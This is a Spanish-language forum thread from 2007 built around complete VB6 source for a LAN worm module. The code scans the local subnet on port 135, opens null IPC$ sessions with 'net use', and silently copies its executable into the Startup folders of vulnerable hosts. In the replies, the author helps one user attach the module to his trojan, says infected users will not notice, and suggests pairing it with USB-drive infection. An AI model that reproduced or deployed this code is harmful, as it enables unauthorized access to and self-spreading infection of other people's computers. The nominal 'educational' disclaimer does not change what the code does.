Páginas: [1] 2
|
 |
|
Autor
|
Tema: [Source] NetBios infection Module (ojo que es peligroso!) (Leído 1638 veces)
|
|
||MadAntrax||
|
NetBios infection Module 1.0Alguien ha pedido como hacer que nuestra aplicación hecha en VB6 infecte todos los equipos de una LAN de forma automática? Bien, aquí tienes un sencillo módulo que permite hacer tal cosa. Para ello me he aprovechado de las flaquezas del protocolo NetBios, así como el poder de las sesiones nulas al IPC$ para infectar una LAN. Este código es algo peligroso y sólo lo publico como prueba de concepto, el fin de este código es puramente educativo y didáctico, cualquier otro fin que le podáis dar será calificado como ilegal y el autor no se responsabilizará de los efectos causado por él. Para probar esta código es necesario hacerlo bajo unas estrictas medidas de seguridad y bajo un entorno de prueba. Prohibido usarlo en redes de trabajo reales.sin más que añadir... aquí lo tenéis. '##############################################' '# #' '# NetBios LAN Infection Module - version 1.0 #' '# #' '# Made by ||MadAntrax|| #' '# Date: 14/jul/07 #' '# #' '# Happy Coding... ;D #' '##############################################' Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Dim WS As CSocketMaster Sub Main() Set WS = New CSocketMaster 'Modulo Winsock de CSocketMaster Dim SelfIP As String 'Nuestra propia IP de la LAN Dim SubNet As String 'Nuestra SubRed, ejemplo: 192.168.1.X Dim SubNetArray As String 'Almacenamos los Hosts de la LAN que son vulnerables Dim BufferIP() As String 'Almacenamos los octetos de nuestra IP SelfIP = WS.LocalIP 'Obtenemos nuestra IP de la LAN BufferIP = Split(SelfIP, ".") 'Partimos los octetos en un Array If UBound(BufferIP) = 3 Then SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2) 'Obtenemos nuestra SubRed: 192.168.1.X SubNetArray = GetAliveHosts(SubNet, BufferIP(3)) 'Obtenemos los Hosts que son vulnerables a NetBios If SubNetArray <> "0" Then 'Comprobamos que hay Hosts vulnerables en nuestra LAN Call GetPrivilegesOnSubNet(SubNet, SubNetArray) 'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$ DoEvents 'Esperamos... Call InfectSubnet(SubNet, SubNetArray) 'Infectamos los Hosts vulnerables gracias a C$ End If End If End Sub 'Fin del Código '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 'Función que almacena en un array el último octeto de la dirección IP de 'todos los Hosts de la LAN que son vulnerables a NetBios ' 'Ejemplo: 'Supongamos que encontramos estos Hosts ' 192.168.1.5 ' 192.168.1.10 ' 192.168.1.128 ' 192.168.1.200 ' 'Esta función devuelve: "5,10,128,200" ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String Dim AliveHosts As String 'Array donde se almacenan los Hosts vulnerables AliveHosts = "" WS.Protocol = sckTCPProtocol 'Establecemos el protocolo en TCP For i = 1 To 254 'Bucle desde X.X.X.1 hasta X.X.X.254 If WS.State <> sckClosed Then WS.CloseSck 'Si el Socket no está cerrado, lo cerramos para evitar errores. DoEvents 'Esperamos... WS.Connect SubNet & "." & i, 135 'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios) Sleep 500 'Esperamos 1/2 Segundo... If WS.State = sckConnected And i <> MyHost Then 'Si el Hosts es vulnerable y el Host no es MiPC entonces... AliveHosts = AliveHosts & i & "," ' añadimos el octeto del Host en el Array End If 'End If Next i If Len(AliveHosts) > 0 Then 'Si hemos encontrado al menos 1 Host vulnerable... AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1) ' quitamos el último caracter del Array (siempre es una ",") para evitar errores. GetAliveHosts = AliveHosts ' devolvemos el Array como valor de retorno Exit Function ' finalizamos esta función End If 'End If GetAliveHosts = "0" 'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0" End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session) 'en todos los Hosts de la LAN que son vulnerables a NetBios ' 'Ejemplo: 'Supongamos que encontramos estos Hosts ' 192.168.1.128 ' 192.168.1.200 ' 'Esta función ejecuta: ' net use \\192.168.1.128\ipc$ "" /user:"" ' net use \\192.168.1.200\ipc$ "" /user:"" ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String) Dim tmpArray() As String Dim tmpIP As String tmpArray = Split(SubNetArray, ",") For i = 0 To UBound(tmpArray) tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ " Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide Next i 'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios 'de los Hosts vulnerables a NetBios, para ello utiliza C$ ' 'Ejemplo: 'Supongamos que encontramos estos Hosts ' 192.168.1.128 ' 192.168.1.200 ' 'Esta función ejecuta: ' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe" ' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe" ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String) Dim tmpArray() As String Dim tmpIP As String tmpArray = Split(SubNetArray, ",") For i = 0 To UBound(tmpArray) tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio" Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide Next i 'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell End Function Que hace este código?Primero obtiene nuestra IP y toma por defecto que se trata de una red de clase C (255.255.255.0), a partir de aquí crea un bucle desde: X.X.X.1 hasta X.X.X.254 he intenta conectar al puerto 135 de TCP ( NetBios), si lo consigue entonces establece una sesión nula ( net use X.X.X.128ipc$ "" /user:"") para luego copiarse en la carpeta inicio de todos los usuarios bajo la unidad C$Dudas, comentarios, sugerencias, criticas.. aquí porfavor 
|
|
|
|
« Última modificación: 15 Julio 2007, 23:32 por ||MadAntrax|| »
|
En línea
|
|
|
|
securedigital
Desconectado
Mensajes: 532
Do you enjoy with IBM OS/400 ¿
|
Simplemente , Cojonudo !!! (quizas es tu record en hacer un script/pgr, tardaste poquisimo....)
SAludos
|
|
|
|
|
En línea
|
The man who whispered to the computers Der Mann, der zu den Computern flüsterte FAD58DE7366495DB4650CFEFAC2FCD61 
|
|
|
3k1n0x
Desconectado
Mensajes: 325
|
jeje q bueno, pero alguien sabe si funciona en todos los casos, es decir funciona en xp service pack 2 con actualizaciones?
|
|
|
|
|
En línea
|
T3fL0n -> 3k1n0x
|
|
|
|
||MadAntrax||
|
jeje q bueno, pero alguien sabe si funciona en todos los casos, es decir funciona en xp service pack 2 con actualizaciones?
Sí, funciona en la mayoría de casos. El sistema operativo en este caso tiene que ser un Windows 2000 (cualquier ServicePack), Windows XP (con cualquier Service Pack). El único requisito es que los equipos estén en un Dominio o Grupo de Trabajo y tengan el puerto 135 habilitado. He usado rutas como " Menú InicioProgramasInicio", eso significa que sólo funcionaría en equipos con el Windows en Castellano. Salvando esos inconvenientes, este código es bastante efectivo y combinándolo con algún otro tipo de infección (por ejemplo infección de pendrives o similares) consigues expandir tu ejecutable de forma rápida y efectiva
|
|
|
|
|
En línea
|
|
|
|
Dominicano
Desconectado
Mensajes: 936
|
Gracias ||MadAntrax|| el code es muy bueno.
Saludos...by...Dominicano
|
|
|
|
|
En línea
|
|
|
|
HALC12
Desconectado
Mensajes: 56
|
haber me van a disculpar por preguntar esto pero es que casi no estoy familiarizado con esto de conexiones
mi duda es que si este modulo lo tengo que llamar desde el formulario, me explico yo tengo mi troyano bueno le puedo anexar este modulo para hacer que se expanda por toda la red lan? que efectos negativos le trairia al pc en el que se ejecute.
|
|
|
|
|
En línea
|
|
|
|
|
||MadAntrax||
|
haber me van a disculpar por preguntar esto pero es que casi no estoy familiarizado con esto de conexiones
mi duda es que si este modulo lo tengo que llamar desde el formulario, me explico yo tengo mi troyano bueno le puedo anexar este modulo para hacer que se expanda por toda la red lan? que efectos negativos le trairia al pc en el que se ejecute.
Para llamarlo desde tu proyecto te recomiendo que agregues el Modulo principal "Module1.bas" y los de CSocketMaster (si no lo tienes ya) a tu proyecto. Después haces: Sub Form1_Load() Call Module1.Main() End Sub El Módulo puede demorarse un poco si encuentra muchos Hosts vulnerables, en los entornos de prueba donde lo he testeado ha tardado algo menos de 1 minuto en infectar 20 equipos. En el PC donde lo ejecutes es posible que se le disparen muchos procesos NET.EXE que se pueden visualizar desde el TaskManager, recomiendo deshabilitarlo antes por politicas. Saludos!!
|
|
|
|
« Última modificación: 14 Julio 2007, 21:33 por ||MadAntrax|| »
|
En línea
|
|
|
|
HALC12
Desconectado
Mensajes: 56
|
pero en los pc que se copia no da aviso de nada osea si alguien esta trabajando en ese pc se daria de cuenta o no espero que me netiendas el troyano es para poderme conectar a los pc de toda la red
|
|
|
|
|
En línea
|
|
|
|
|
||MadAntrax||
|
pero en los pc que se copia no da aviso de nada osea si alguien esta trabajando en ese pc se daria de cuenta o no espero que me netiendas el troyano es para poderme conectar a los pc de toda la red
No, el equipo "infectado" no se dará cuenta. Si tiene un firewall monitoreando el puerto 135 es posible que le aparezca un popup bloqueando la conexión y mostrando la dirección IP del emisor del paquete, pero eso ocurre pocas veces, nade se alarma por una alerta en el puerto 135 a no ser que sea un usuario "paranoico de su seguridad".
|
|
|
|
|
En línea
|
|
|
|
WHK
Desconectado
Mensajes: 809
+-=[Yan]=-+
|
pero eso ocurre pocas veces, nade se alarma por una alerta en el puerto 135 a no ser que sea un usuario "paranoico de su seguridad".  yo así tengo configurado mi Zone alarm y verifico los 4 puertos mas esenciales que son puerto 135 de TCP/UDP y los puertos 139, 445 y 593 de TCP para llamadas a procedimiento remoto RPC DCOM. Felicidades nuevamente, miraré muy minusiosamente tu código porque hay mucho que rescatar.
|
|
|
|
|
En línea
|
|
|
|
wACtOr
Desconectado
Mensajes: 323
Premio finalista diseño web elhacker.net
|
muy weno mad, eres tremendo. e hestado probandolo con mis 3 pcs, pero deben estar parcheados por que no crea el upodater.exe
por cierto, me puedes explicar a si por encima como usar los modulos socketmaster?
es que me gustaria incluirlos en mi troya, pero no se como funcionan.
gracias mad y otra vez, un EXCELENTE trabajo
|
|
|
|
|
En línea
|
|
|
|
|
||MadAntrax||
|
muy weno mad, eres tremendo. e hestado probandolo con mis 3 pcs, pero deben estar parcheados por que no crea el upodater.exe
por cierto, me puedes explicar a si por encima como usar los modulos socketmaster?
es que me gustaria incluirlos en mi troya, pero no se como funcionan.
gracias mad y otra vez, un EXCELENTE trabajo
Tienes un grupo de trabajo creado con tus 3 PC''s? Tienes firewall habilitado en alguno de tus PC''s Están los 3 equipos dentro de la misma subred? Tienes habilitado el servicio de Compartir archivos e impresoras en los 3 PC''s? Lo de CSocketMaster es fácil, si te lo bajas de www.pscode.com trae un TXT explicándolo. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
|
E0N
|
Clap clap clap excelente Mad, esta vez te has salido 
|
|
|
|
|
En línea
|
|
|
|
wACtOr
Desconectado
Mensajes: 323
Premio finalista diseño web elhacker.net
|
Tienes un grupo de trabajo creado con tus 3 PC''''s? Tienes firewall habilitado en alguno de tus PC''''s Están los 3 equipos dentro de la misma subred? Tienes habilitado el servicio de Compartir archivos e impresoras en los 3 PC''''s? Si a todo, como en windows xDD si tengo todo ello hecho. lo de la subred es el mismo rango de ip no? me explico un poco : una subred seria por ejemplo 192.168.1.12, 192.168.1.13, etc. si por ejemplo tuviera 192.168.0.12 y 192.168.1.13 no seria una subred. es asi?? Gracias. PD aora me bajo de pscode a ver si saco algo en claro
|
|
|
|
|
En línea
|
|
|
|
Sancho.Mazorka
Desconectado
Mensajes: 428
¿?
|
Perfecto!!! Sos un idolo con VB6, ojala que sigas asi (y que mejores  )
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1] 2
|
|
|
|